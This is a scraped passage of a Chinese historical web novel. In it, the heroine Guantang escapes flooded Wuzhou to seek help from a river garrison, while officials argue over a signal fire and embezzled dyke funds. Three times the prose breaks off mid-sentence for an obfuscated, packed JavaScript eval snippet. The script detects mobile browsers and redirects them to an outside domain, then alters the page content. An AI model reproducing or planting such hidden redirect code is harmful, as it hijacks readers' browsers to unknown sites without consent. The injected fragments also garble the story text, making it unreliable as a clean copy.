嬷被她一呛，面色十分难堪，观棠并不在意，转头对栾慧说：“找一套你的衣服给我。” 栾慧身量和她相当，听罢转身出去了。青红不知观棠想做什么，但似乎觉出她要有所行动，上前一步道：“姑娘，我随你一起。” 观棠摇头说：“为了不惊动徐知州，我需乔装出城去水寨求援。你们现在也去换好便利衣物，收拾包袱，若水势不对，即刻往衙城去。” 待栾慧拿来衣物，青红忍着泪意帮观棠将头发束起，将她扮作了一般男子模样，只是细看还是能觉出端倪。 “姑娘，我想同你一道。”青红颤着声道。 “这一路不可控太多，即便是文四他们也无法保证我的安危，更何况再加个你。”观棠见她落下泪来，只好放缓声音安慰道：“好青红，我向你保证一定平安归来，然后我们去静江府看元夕山灯，吃米缕，可好？” 最后，青红擦干了眼泪，观棠留下了她伯父派到她身边助她的四人中的两人，只带了文四和栾慧往广渠门去。 三人走出客栈，眼下梧州城内大乱，连一匹马都寻不到，只能一路步行。 文四身形魁梧，在前开路，栾慧在观棠身后。此时，不少庐舍漂没之人扶老携幼得往衙城而去，身边孩童哭嚎声不绝于耳，令人动容。 至城门的这一路上，她见百十为群、茫然无措逃难的百姓，又想到那些为救百姓投入洪水中化为人桩的兵卒，鼻尖有些酸涩。 这些人有妻有儿，有父有母，唯愿方塘一亩，箐筿千竿。 然而，为了满足京中豪右的私欲和权斗，他们便要失去性命，妻儿也只能流离失所。 即便是脚踏万里阡陌，这些世禄之族仍贪利如蝇。 什么是天灾，什么又是人祸？ 观棠边行边陷入思绪，这时，突听远处山畔传来鸣锣声，力透雨幕，她听见这声，一激灵脱口而出道：“姜虞候成了！” 话音才落，便觉身边人群骚动，不少人开始推攘着往衙城方向挤。他们三人走的是出城的方向，与人流背道而驰，文四急道：“夫人，这样下去不行。” 观棠想问他们离广渠门还有多远，还未来得及开口，一个高壮男子便狠狠撞向了她。观棠低呼了一声，只觉胸前剧痛，跌坐在了地上，再一抬眼，见面前百姓如蚁聚，一只脚将将要踩到她的身上，栾慧大喝了一声，把她护着从地上拽了起来。 三人艰难挤出主路，寻了一处房檐站定，观棠说：“我们走旁的道去广渠门。” “恐怕要绕些路，希望能赶在水没城门之前到。”栾慧抹了一把脸上的雨水，又说：“这姜虞候可真是，偏偏这个时候鸣锣。” 观棠说：“是我思虑不周，早些出城就好了。只是城内小道繁多，可以找到路吗？” “只要方向不错就行。”文四说，“夫人放心。” 然而，栾慧所说之事终究还是发生了，待他们绕道到广渠门，已近酉时，那城门早已被淹得看不见洞口，露在水面之上的城堞也有七八尺的高度，即便乘舟到达城墙底下，也难以翻跃出去。 这时，城墙下的一处漩涡吸引了她的注意，观棠突然想起来昨夜所走侧门。 “你二人水性如何？”她开口问。 8.第 8 章 观棠和文四站在水岸边，过了不到半柱香的时间，栾慧从水浅处踱了上来。 “如何？”观棠上前道。 文四伸手将栾慧带了一把，后者喘了几口气，说：“那侧门确实被水流冲开了，但水流很急，水里时不时还有石块、枝杈砸到身上，很不好受。” 观棠看了一眼高高的城垛，说：“城外江上可还有蜑民？” “瓮城外头还有，他们把船用绳索捆在了一起，连成片抵御急流。” 观棠点点头，低下头开始整理衣服。栾慧的身形和她相似，但衣袍还是大了些。文四见她这样，说：“夫人，您不会真要这样游过去吧？不如让栾慧去水寨求援，我们……” “不行，他人微言轻。”观棠打断他道：“即便此刻我亲去，也不一定能说服戎墟水寨派出援手。水寨虽由巡检司管，但仅负责水域巡河，即便是逢大难，广南西路的水寨也要防范夷族趁机叛乱，轻易不得离开驻地。” 文四听罢，又道：“那我们去衙城寻姜虞候！让他派人去水寨求援！” 观棠道：“姜虞候此刻大概分身乏术。六个陛下的侍卫亲军再加上一位通判，也只是得了个兵民慌乱的机巧把烽火燃了。锣声既鸣，徐知州等人很快也会反应过来，待他们回到衙城，姜虞候要面临的才是真正的考验。” 毕竟，文臣的喉舌往往比战场上的刀枪剑戟还要杀人不见血。 观棠回望了一眼高于罗城的衙城，语气微凉道：“我先前劝说姜虞候去衙城，其实只是想令他拖住徐知州。能否真正解救整个梧州城，只能看我们这趟去水寨了。” 观棠猜得没错，锣声鸣响后两个时辰内，梧州衙城的州院外便被兵马营的人围了个严严实实。 数日不停歇的雨将正厅与议事堂之间的院子淹没了数寸，站在其中的人鞋袜尽湿，仍巍然不动。 姜丕的三位手下此刻以手按剑，冷瞰着前方几十位厢军兵卒。他们几人乃殿前司的直员，随姜丕来衙城前特意换上了捧日军的山文铠甲，内着红色绢衬甲，肩膀衔有狴犴纹饰，气势逼人。 三人身后的议事堂门扉大敞，里面站着一身青色罗袍，腰间佩银銙犀带的姜丕，他身旁则站着着吉贝布袍的通判李诚昭，此人年逾四十，鬓发微白，眉棱耸立，眼窝凹陷。 两人对面是徐知州和州衙内主管刑罚的司理参军，以及总领梧州厢军的兵马总管。那负责烽台燃放的烽候长站在此三人身后，正被两位兵卒架着，迫着他上身前倾，抬不起头。 “此人谎报灾情，惊扰百姓，按大兆刑统，需杖一百，施以黥刑并配牢三年。”司理参军怒目圆睁道：“姜虞候，这是本州军务，您就不必干涉了吧！” 姜丕阻道：“我乃三衙之一的殿前司虞候，这烽候长是听我令才燃的烽火。你若要拿此人，不如先拿我！” “姜虞候，殿前司虽有统兵权，但也要听枢密院调令。更何况更戍法明令将不得专其兵，您自汴京远来广右，竟是要开这更戍法的先河，重整边戍不成？”徐知州道。 大兆开国皇帝曾任前朝殿前都点检，后发动兵变一统河山。为君者最忌讳两件事，其一，有人说其得国不正，其二，有人效其故谋篡位。 徐知州口中的更戍法便是太祖登基后所设，意将统兵、调兵以及指挥三权分治，使得原本拧为一股绳的帅兵拆散，兵不识将，无令不发。 于烽候长而言，非验符节不得举烽，但姜丕强命其燃烽火，便是擅发军令，违制调兵，此乃大兆军中大忌，正中姜丕这样的武将命门，使得他一下子噤声。 司理参军见状，朝身后兵卒使了个眼色，此二人押着烽候长往外走了一步，李诚昭突然开口道：“德宗时期，贼陷邕州，沿江烽燧数日不燃，导致民不及避，死者甚众。此事呈京后，州牧、烽帅皆因失候刺配沙门岛。如今水患倾城，燃烽燧警示下游，为的就是防止旧事重演。” “李通判说笑了，梧州每年皆要遭一趟水灾，怎么就到了要燃烽燧的地步！”兵马总管说。 “是啊，此地连年遭灾，但据我所知，前年朝廷才批了一百万钱作为修堤的工款，以工代赈。先是从临县调集人手，又往上报了千余名工人，才修好一年便又决堤，那这一百万钱岂不是通通打了水漂？”李诚昭此言一出，对二人先前的争执置若未闻的徐知州抬眼看向他，嘴角微斜，笑道：“李诚昭，你此话何意？” 此二人一人为知州，统领州政，一人为通判，行监州之责，本该互相制衡，但徐知州在广南东西两路经营数年，树大根深，李诚昭乃他府调任，来此地不足一年，凡事只能退居其次。 “郁江决堤，屡修不止，如今甚至还用上了合龙门，莫非那督修堤坝的水文吏有贪墨之罪？”李诚昭沉声道。 “你怎么知道合龙门……”司理参军下意识道，徐知州抬手打断他道：“合龙门乃水工倡议之举。你虽有治河经验，但鄂州所临的长江水和梧州所临的郁江水截然不同。鄂州有中央漕司督办，能举国力筑堤，郁江地界常年有山洪急流，此地土质疏松如沙，毁堤是常事。非常时机但使非常之举，方才我等回衙城之前，那决口水汛已然见缓。至于这水文吏是否贪墨，待灾情过去，我与司理参军自会按律法严查。” 司理参军听了了然道：“且不说他是不是真的挪用了修堤的款项，光是迟报灾情一事，此人也已犯下了重罪。” “迟报灾情？”李诚昭故作疑态。 “是啊，作为水文吏，那桂江的水则碑到了需警惕的水位，可是他却迟迟不报。你想，连日下雨，郁江水也涨是桂江水也涨，当桂江水哗啦一下涌入郁江，即便是堤修得再高，也挡不住这两江汇流啊。”司理参军道。 李诚昭道：“如此说来，这罗城被淹，大半罪责也都在这人身上了。” 司理参军一时哑然，用余光去瞥徐知州，见他并未发话，正犹疑着，兵马总管横插道：“李通判你也有罪，别光说别人。” “哦？我何罪之有。” “你自乱阵脚，见江水入城便仓促鸣锣，使得民心溃散。你且看看如今的罗城，那些暴徒纵火劫掠商铺，老弱妇孺遭践踏于长街，好一副人间地狱景象！到时候一纸奏疏上去，我看你这顶乌纱帽还戴不戴得住！” 李诚昭冷笑一声道：“罗城既乱，你们厢军为什么不出面镇压趁机作乱之人，并携百姓来衙城避难？倒有力气同我在此争论不喋！” 兵马总管立时想驳斥几句，徐知州抬了抬手说：“李通判，你越权强令点燃烽火，便是犯了擅兴律之罪。为了给你收拾烂摊子，我已经命人将镇南门封闭，待水汛褪去后再开城门。” 李诚昭未料到徐知州竟敢将罗城和衙城之间唯一的通路截断了，怒而上前道：“徐继昌，你疯了？你可知你此举会害死多少人？” 听见城门被封，姜丕也破口大骂道：“我看你这个梧州知州是吃了熊心豹子胆了，经略使夫人如今还在罗城内！” 徐知州讥笑道：“姜虞候，你的职责是护送经略使夫人一路平安抵达静江府，若非你抛下夫人带着你的部下来到我这衙城内逃难，又怎会害得她如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933474|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今陷在罗城？” 见他如此将黑白颠倒，姜丕气得胸脯起伏，右手反复拧握着刀柄，脑海中想起临行前观棠说的话：“若你们真能点燃烽火，徐知州等人不消半个时辰就会赶回衙城。到时候他首先要做的定是问罪诸人，你切不可与其发生兵刃相向的冲突。大兆的国策乃以文驭武，无论徐知州犯下如何大错，武官绝不能悖逆文臣。” “那该如何是好？”姜丕问。 “你可知围棋里的劫争？待徐知州回到州院，你这一方的棋子便会被他直接提走。” 姜丕看向被拖拽着离开议事堂的烽候长，女子的声音言犹在耳：“这个时候，你需在棋盘上另走一步棋，对徐知州构成威胁，逼他应劫。” 姜丕开口道：“且慢。”他说完，微微侧身对身后道：“带他来堂上。” 他话音落，议事堂的里间被推开，着山文铠甲的侍卫带着一身青袍官服的一人走了出来，他便是司理参军口口声声要捉拿的水文吏。 “方才他们几人说的话，你可听见了？”李诚昭道。 那水文吏面色晦暗地点了点头。 “你发现桂江涨水时，是在何时？” “两日前的未时三刻，水刚涨过了水则碑标注的刻度，我便上书递往了州衙。” “然后呢？” “然后徐知州派人来命我撤离此地，但不要燃烽火。” 徐知州听罢并不慌乱，平静道：“我何时派人传话于你，又派了何人？” 水文吏看了看四周，朝李诚昭轻轻摇头，意思是他并未在徐知州身边见到那日递话之人，但他仍壮着胆子道：“那人叫邹敏，是兵马营的一位巡检！” 兵马总管听见此话，怒喝道：“信口雌黄！我看这人是死罪难逃，要开始拖人下水了。” “拖人下水……”李诚昭说到这里，低笑了一声，随后递了个眼神给姜丕，姜丕转头对外面站着的三个侍卫道：“让胡二把他带过来。” 那随姜丕来到此地的殿前司侍卫共五人，此刻才聚齐了，只见最后一人带着一位着布袍、脚步踉跄的男子从外院走了进来。此人头发具湿，嘴唇发青，像是刚刚经历过大难，他见到堂下徐知州等人，眼睛里迸发出滔天恨意。 “邹敏！”那水文吏呐喊道：“这便是邹敏，两日前传话给我的人！” “总管大人，你可识得此人？”李诚昭说完，那兵马总管看了一眼邹敏，又看了一眼身旁的徐知州，摇摇头道：“不识得。” “巧了，几个时辰前，徐知州命人下龙骨启用合龙门，兵马总管派其麾下兵卒前去填决口，这邹敏便是其中之一。” “那他岂不就是个逃兵！”司理参军喊道：“他的那些弟兄们可都在用身子抵挡洪水，怎么就他好端端地站在这里。” “他可不是好端端得，他甫一下水，便立刻被强大的水流冲晕了过去，是蜑民在江面上将他救……”李诚昭话还未说完，兵马总管急赤白脸道：“胡说八道，那合龙门由铁索相系，无一人能挣脱开，这人才不是邹敏。” “这么说，你识得邹敏，也很清楚他此刻已经葬身水中了。”李诚昭目光如炬看向对面几人，兵马总管这才发觉自己入了套，如遭重击，他带着一丝怯意望向自己身畔，那位绯袍州牧此刻仿佛森然吐信的毒蛇，盯着李诚昭道：“李通判，为了掩盖你无令燃烽的罪行，你居然企图桃代李僵来陷害本官？” 众人正僵持着，突听屋外有人一路跑来传讯道：“知州大人，郁江上突然出现了几艘飘着戎墟水寨旗帜的舰船！” 9.第 9 章 一个时辰前，观棠等人游出了罗城。 初下水时，她觉得好似有一千根冰针扎在皮肤上那么冷，连水流的方向都无法感知，幸好栾慧在前开路，她和文四跟着他游入了瓮城。 瓮城似马蹄状，盛着一碗混沌的郁江水。 栾慧踩着水回过头对二人嘱托道：“从瓮城出去要费些力气，尤其过城门，那处江水挤着往里灌，水流很急。我们最好潜入门洞，一口气往外游。” 观棠点了点头，面上不显，努力掩饰着心底的不安。她幼时常和堂兄堂姐们在延河沿岸嬉水玩闹，自诩水性尚可，但入瓮城水后，发觉自己如何蹬腿都不着地，整个人好似悬在半空。 更让她惊恐的是，水中不时有东西贴着身子而过，也许只是枯枝、草叶，也许是鱼儿之类的活物，时而粗粝，时而滑腻，令人不适。 为了节约体力，三人一路贴着城墙游到门洞处，面前的水流果然湍急，城门下仿佛有一股吸力，要出去，便得逆着水流，挣脱这力道。 栾慧深吸了一口气，一个猛子扎进了水里，观棠也紧随在他身后，但才潜入水中便被水流推着重新进入了瓮城，于是她赶忙浮出水面，重新确认方向。这时文四和栾慧已经不见了身影，他二人一个水性好，一个人高马大，都不大受水势影响。 观棠咬了咬牙，憋着一股气钻入水中。 水中浑浊不堪，她紧闭着眼，根据水流迎面的方向逆向而行，游了许久，观棠感觉胸口憋胀，知道这一口气快要到头了，于是赶忙往上浮。 突然间，头顶传来一阵剧痛，她意识到自己撞上了什么东西，伸手摸了一下，像是瓮城门洞的砖块。 糟了！观棠心道。 闭气已经快到了极限，她如今还在瓮城城门底下，门洞完全被水填满，若她在短短几息内无法离开这里，甚至迷失方向撞上墙壁……观棠放下心中所想，忍着胸口的剧痛又往前游了一段，就在她以为自己快要撑不过去的时候，一直紧紧裹在她周围的强大的水压消散了，一直闭着的双眼似乎都能感受到来自上方的光亮。 观棠心中一喜，伸直双臂奋力一蹬，即将浮出水面，这时，侧腰突然被重物猛击了一下，巨大的疼痛让她呼出了憋在胸口的最后一口气，转瞬失去了意识。 等她再次醒来，已经不再是飘荡在无底的水中，而是被坚实的木板托着。观棠摸了摸身下，意识到自己此刻正躺在船里，船身左右横摆，好似一片树叶飘在激荡的水面上，她想到这里，立刻睁眼坐起身摸了摸胸口。 离开客栈时，她曾将文牒用油纸反复包裹了数遍，但她卷入水中太久，不知道那油纸包是否还在。 观棠从衣襟里摸出油纸，翻开见里面文牒上的字迹尚清晰可辨，这才长舒一口气。 “夫人！”栾慧掀开帘子钻进船篷，见她醒了，惊喜道。 “这是？”观棠看了看四周，她正身处于一个两臂宽的竹蓬小船里。 “这是蜑民的水舟。”栾慧说，“我们已经在往水寨去的路上了。” 通过船身感受着离乱的水流，观棠只觉似梦非梦，胸口还有一些土腥气，咳了两声，突然感觉到腰间钝痛。她嘶了一声，随后问：“你们都还好吧？” 见站着的人久未回应，观棠疑惑地抬起头。 船篷有布帘罩着，船身摇摆，不时从那帘子缝隙里透过来一些光，忽明忽暗，观棠只觉栾慧面上似乎有些哀伤。 “文四呢？” 她问完，等了一会儿，栾慧还是沉默着没吭声。 观棠明白了些什么，但不愿相信，起身忍着痛钻出船舱。面前的甲板上空无一人，她回过头，船尾站着一个身着蓑笠的船夫，见她出来，用当地话说了些什么，但观棠听不懂，也并不在意。 这时，栾慧也从船舱里走了出来，观棠赶忙转过了头。 雨水砸在两人的身上，好似洒豆。 “我没找到他。”栾慧的声音从身后传来，在雨声里显得断断续续，“雨势变大了，我不得不带着您先走。” 观棠看向激流的水面，颤着声问：“船行多久了？” “三刻钟。” 三刻钟，已经离梧州十几里之遥了。 伸手胡乱擦去面上的雨水，观棠闭了闭眼，说：“进去吧，那船家的意思似乎是我们站在这里不方便他掌船。” 这一路水势湍急，但船行得很快。蜑民自出生便在水上生活，行舟如履平地，掌船能力了得，好几次观棠感觉船底被浮木或是礁石撞击，但很快稳定下来。渐渐地，仿佛行到了更开阔的江面之上，船身的颠簸小了许多，栾慧掀开布帘，见雨雾后头出现了一排高高拱起的寨墙，起身道：“夫人，看着好像是到了。” 他话音刚落，便听“嗖”得一声，一支箭直插入船蓬。 射箭之人似乎刻意把控力道，使得箭头从船篷里伸出，箭身仍扎在篷子里，但那泛着寒光的箭头离观棠只几寸余，仿佛已经洞穿了她。 观棠僵坐在原地。 栾慧大喝道：“莫要放箭！我们是来求援的！” 他的话打在寨墙上，似有回声，但戎墟水寨里却久久无人回应。 船停下以后，空气中弥漫着一股若有似无的腥臭，观棠脸色一变，正想冲出船舱将栾慧拉回来，突听水寨上传出一个男子的声音。 “两个时辰前，有一批夷民侵扰此地，说清楚你们是来做什么的，否则我便会下令放箭！”此人话音方落，水寨之上隐约传出弓弦被拉紧的声音，观棠顾不得其他，钻出了船篷放声道：“诸位，我乃经略使谢闻之妻观氏，我伯父乃秦风路都部署观闳，此番前来是因梧州遭遇水患，请巡检司出面援助！” 又是一片静默，观棠回头看了一眼身后的那位蜑民船夫，自箭射入他的船篷以后，他便吓得呆立原地。 “船上只有我和我的随从，以及这位船夫。若你们不放心，可派人来将我二人押入水寨，这位送我们来的蜑民只是收了钱财，可否放他离开！”她说完，过了一会儿，便听金属铰链声叮铃作响，一扇和墙一般高的木栅门开启了。 门内驶出来一艘无篷木船，穿上站着七八位身着布衣的持剑士兵，船尾另有两人拉着弓弦，箭指观棠三人。为首的似是士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964720|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵长，此人头戴斗笠，看不清面容，但他一开口，观棠便知是方才在水寨上喊话之人，此人口音不似广右本地，接近汴京官话。 “新任的经略安抚使我略有耳闻，”他问，“有什么证据证明你是他的妻子？” 观棠上前一步道：“我带了文牒在身上，可随你们进水寨查验。” 两人之间隔着雨帘，突然见那士兵长一个飞身跃了上来，船身往水中沉了沉，随后便听“铛”一声，他竟抽剑挡了一支朝观棠射过来的箭。 观棠立刻拉着栾慧蹲下身，感觉雨中似有不少箭飞过，有的落入水中，有的打在船篷上，观棠看着方才那枚被士兵长打落在船上还微微发颤的箭羽，爬了一步捡了起来。 头顶的士兵长正在高喊“举盾”，观棠趁乱打量起手中的箭。这箭箭身是树枝所制，并非军用，与方才射入船篷的截然不同，或许便是士兵长口中方才来过的夷民所掷。 木舟之上的士兵训练有素地举起藤盾，并将两船相靠。观棠回头，见蜑民船夫不知何时已经钻进了船篷，暂时安全，对想要将她二人拉上木船的士兵长说：“带上船夫！” 那士兵长复又钻进船篷将其带了出来，随后扯着观棠的衣服，像拎起一只小鸡仔似的将她一把扔上了木舟。观棠双脚刚站稳，身旁又“砰”一声倒下一人。 原来栾慧也被丢了过来。 观棠只觉眨眼的功夫，那木舟便已经被纳入了水寨的高墙。原来这木舟后面挂有绳索，绳索绑在齿轮之上，只需寨内之人转动轮盘，无需划桨便能够快速退回。 高高的寨门自头顶落下，仿似一片黑云压下，观棠将栾慧扶了起来，低声问：“你没受伤吧？” 栾慧摇摇头，说：“夫人你呢？” 得到观棠的否认，栾慧也松口气。 船靠岸后，众人登上码头，那士兵长确认完部下的安危，转过身去打量观棠，见她虽着男装，面上污秽也难掩姝色，又觉她遇到方才的事竟并不慌乱哭泣，不似娇养贵女，心中生疑，语气警觉道：“为何你们一来便有人放箭。” “第一个放箭的可是您的人。”观棠并不被恫吓，目视着士兵长沉声道。 此人肤色黝黑，一看便常年曝晒。他身量高极，长八尺，肩宽体壮，腰却并不阔，观棠得观闳教诲，知道这样身形的人往往水性极佳，甚至能潜入那水底数丈深的地方许久不出来。 她正思索着，士兵长身旁一人道：“头儿，她不会是那些人的内应吧？我看还是先关押起来审审！” 观棠并不急着驳斥他，说：“我只是一介弱女子，身边也只有这一个长随，我们二人怎么能敌你们整个水寨的士兵？你想要关我关便是，但是梧州情况危急，耽误一刻或许便会有百余人枉死！” 士兵长上下打量了她一番，最后说：“你随我来。” 观棠紧随其后，见他边走边摘下了斗笠，伸手的那一刻，左臂刺有的“私盐配广南水寨”七个字从衣袖里漏了出来。 此人竟是个罪犯！ 观棠足下一顿，那人似感知到了，也停下脚步，转过身来看她。 10.第 10 章 这位士兵长取下斗笠后，观棠才看清他的面容。此人面长，五官算得上周正，只不过一道深深的旧疤自他的左额头斜着擦过他左眼和鼻梁，在右眼下方停住，显得有些骇人。 他发紫的嘴唇紧抿着，一双深陷眼窝里的眼睛此刻正充满警戒意味地看着观棠。 观棠观他面上的疤痕，猜测是鞭伤，又见此人手臂刺字，说明他是因贩私盐被流配至此地。 大兆有律，死刑重犯若遇赦免死，便发配至偏远艰苦之地服役，广右恰是远恶军州之一。方才她看见刺字的第一反应不无惊恐，但观棠强迫自己冷静下来，回想起确实有一些边州军营会以罪犯充军。 面前之人见她久未发话，盯着她的目光渐露阴沉，观棠提了口气道：“不知如何称呼您？” “赵令羽。”他说完便回转过头，继续往前走。 令羽，囹圄，此名倒有些不详。观棠心想，追上去道：“您是队将？” 赵令羽说：“算是吧。” 观棠点点头，说：“我方才观您的手臂有刺字，但您既是队将，说明戎墟水寨多半都是刺配军汉？” 她问得直接，赵令羽有些诧异，脚步慢了下来，转头看她的眼中少了些警惕，更多的是审视。 观棠微微一笑，道：“赵队将莫忘了，我的祖父曾随太祖征战四方，观家乃武将世家，身为观家女，军中诸事我自然耳濡目染。” 她这一笑里有些说不出的傲然，赵令羽这才正视起身畔矮自己一个头的女子。 尽管衣衫湿漉漉地耷在身上，头发也凌乱不堪，女子的面上却显现出只有京中贵家子弟才有的盛气。 赵令羽努力咽下心底的嫌恶，略带讥诮地说了一句：“夫人说得没错。” 赵令羽说完，迈开步伐，随后开口道：“戎墟水寨里大半为 ‘环佬’，也就是我们这种配流军人。还有少数土兵，其中一些为本地峒丁，另有一些是我们俘获的夷民。” 随着身旁之人所言，观棠观察起水寨。此地位于郁江河道的一个拐角处，江泥堆积在北滩，使得河道变窄，水流变急，偶有船行过此处遇险，前朝便修筑了一道水门减缓水势。大兆建国后，在此建起水寨，各路茶、盐、粮船入广右必经戎墟水寨，这也是第一道抽检之处。她原以为，在巡检司的主持之下，此地应颇有规模，但她靠岸后所见码头、船坞、哨所，及前方的营房在雨幕中皆显得有些破败。 观棠的目光又移向不远处，几根高耸的木头桩子下，数个上身赤膊的人被铁链锁着，他们在雨水里被打得睁不开眼，身上鲜红的血汩汩流出，与污秽的雨地搅和在一起，很快看不清踪迹。 见观棠看着那些人，赵令羽颇为“好心”解释道：“这便是两个时辰前来滋扰我们的夷民。” 以为会在这样的京中贵女面上看见一丝惶恐，但他很快失望了，因为观棠只是轻轻颔首，随后又道：“是在江上抓捕的？我方才并未见江面上有船只。” 似对她敏锐感到惊讶，赵令羽微微挑眉，连带着面上的疤痕都扭曲了一下，他答道：“他们是趁着雨势从水寨的北面翻墙而入的。” “人数很多？” “十七八个。”赵令羽说完，心下有些不悦，面前这女子不知不觉间竟让他说了这许多。 “十七八……我方才见那柱子下只有六七个人，其余皆死？” 赵令羽停下脚步，转头道：“死了四个，其他的逃走了。夫人何意？” “我只是在想，两个时辰前这伙人前来水寨，方才我们下船，倒像是逃出水寨的那几人守在外头射箭……”她说到这里，赵令羽明白过来了，神色一凛，说：“你的意思是，他们本意是拖住水寨众人？” 观棠点了点头，说：“赵队将，如此你是否可以相信我，梧州有大难。” “你怎知我不信你？”赵令羽沉声道，语气里没有一丝被观棠戳破心思的慌乱。 “你一不查我的文牒，二不问我前来到底要做什么，估计是想关我两天，派人去探听一二再行定夺。”观棠环视水寨，又道：“此地武有都监、文有知寨，但这水寨看起来……处处待修，想来此二人也不过是中饱私囊之辈。但方才见你在外发号施令，你的手下皆听号令，他们举盾如叠阵法，这是兵营里训练步兵的方法，能够抵挡头顶而来的箭雨。” 她说到这里，见赵令羽眼神微烁，顿了顿道：“我不问你从何而来，又为何被刺配，但你在这样的水寨中仍能够训练兵士，说明你为人处世很得人心。我想，若你愿意同我一起去说服都监和知寨他们解梧州之难，我可许你三件事。” 赵令羽听她所言，嗤笑一声道：“我这人说话直，夫人，如今是你来水寨求援，怎会是我有事求你？” 几人此时正好走到一处船坞，混杂着一股金属、土腥以及鲜血的臭味乍然涌入鼻腔，观棠不受控制地重咳出声。栾慧忧心忡忡地走到她身边，她摇头示意他无碍，站定看向四周。 几个桨手围坐在一艘细长的海鳅船旁，他们个个精瘦如猴，眼神锐利，见到赵令羽，桨手们起身点头示意，看向观棠后却很快觉出端倪，目光不善地紧盯着她。 观棠心头一跳，清了清嗓，朝正以一种戏谑目光看着她的赵令羽缓声道：“戎墟水寨掌广右第一道水门，兵卒贩私，十座关卡里难免九座都参与其中。”她说到此，看向赵令羽的手臂。 被睹之人眼里闪过一丝愤恨，观棠继续道：“我知道尝有水寨官吏迫人走私，事发后又推其顶罪。我可让我的夫君，这位经略安抚使既往不咎此地贩私之事，此乃其一。其二，按照律法，配流军人到了此地，役满三年可转为厢军，但我估计……” 观棠扫视船坞内的众人，旋即回身看向身后几位正目光炯炯看着她的兵卒，说：“这里大多都已经役满多年了吧？赵队将，我可助你们重列正兵名册，令役满者释籍。” 女子的声音暗哑，屋外雨水瓢泼，但仿佛顷刻无声。一片静默中，众人只觉心弦都被她拉紧了。 她只说了头两件事，赵令羽便知自己必要助她前去梧州了，但见她突然沉声，久久未言说第三件事，又疑她是身体不适，等了一会儿想要出声追问。 只不过，几句话前他才嘲讽这女子自己不会有事相求。 最终，迎着她坚定的目光，赵令羽硬着头皮开口道：“夫人，这第三件事是？” 观棠扬唇笑了笑，她的笑容里并无先前的傲气，眸光闪烁，说：“待我见过统领此地的都监和知寨再行定夺吧。” 半个时辰后，站在海鳅船船首的观棠紧盯着前方泥沙翻涌的江面，此船由踏轮和叶桨推动，逆流之下仍疾行如风。 栾慧撑伞站在她身后，似是看出她在想什么，低声道：“我见文四面相福泽深厚，定能逃过此劫。” 观棠轻咳了几声，说：“但愿如此。” 栾慧回头看了一眼站在船楼之上的赵令羽和他的手下，说：“那知寨只愿借五十人，梧州驻军有三四百人，我们区区五十人岂不是负隅顽抗，竟还要以三百石粮食为报酬。”栾慧的语气里难掩愤慨：“我看他们真是抽水抽惯了，连夫人您都要……” “无妨，我去水寨求援，最大的目的便是让他们将梧州城困的消息散播出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977134|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”观棠冷声道：“顺郁江而下，直抵广南东路的端州，徐知州瞒报灾情一事，不出七日便会叫周遭州县连带东西两路都知晓。” 栾慧回过神来，说：“您这么做是为了经略使？” 观棠没有回答，栾慧既说到谢闻，她便神思微敛。观棠不知谢闻此刻在哪，被何事绊住，但她知道，方才她向赵令羽许诺的那些事，都需要这位广南西路经略安抚使好生活着，才能一一兑现。 想到这里，她低笑一声，说：“栾慧，从前我在闺阁之中，尚无感念。但这次南下，我发觉，若说我姓甚名谁，自是无人知晓，也无人听我所言。唯有顶着伯父的头衔、夫家的姓氏，他们才愿意让我开口说两句。” 她抬目看向远方，雨雾锁江，天地间仿佛被蒙上了一层赭黄纱幔。 “我希望有朝一日，我说我是观棠，便有人信我，愿意听我一言，为我做事。” 听见观棠的话，栾慧情不自禁地往前走了一步，眼前的女子神情坚毅，不知为何，他竟觉得定有这一日。 * * * 郁江上游的桂平县亦连下数日雨，此地河道蜿蜒似盘蛇，江水涨势不较下游那般快，为防急流翻船，两日前便禁航舟楫。 傍晚，码头在雨中显得颇有几分零落，一艘监牢船停靠在岸，铁栅舱室内囚着几位要押解到沙门岛的重刑犯。 此船由刀鱼棹船改造，船底设水密囚舱，重刑犯们需直立于舱底，双手戴枷，仅头颅能从活板门内伸出。活板门与船舱的木地板平齐，显得几人好似埋在船底。 多日行船，又鲜少能够获得食物，活板门四周散落着不少黄水，散发着一股恶臭，正是这些囚犯们呕出的。 “生不如死……真是生不如死呐……”一个囚犯喃喃道。 他们不知此时天光几何，船停于何处，只感觉许久都未行船了，众人心中都在猜测，是否已经到了沙门岛了？ 这时，突听一声巨响，船底像是被什么重物撞上了，昏沉沉的囚犯们一个激灵睁开了眼看向四周，只见那涓涓细水正从船舱的各个角落涌入。 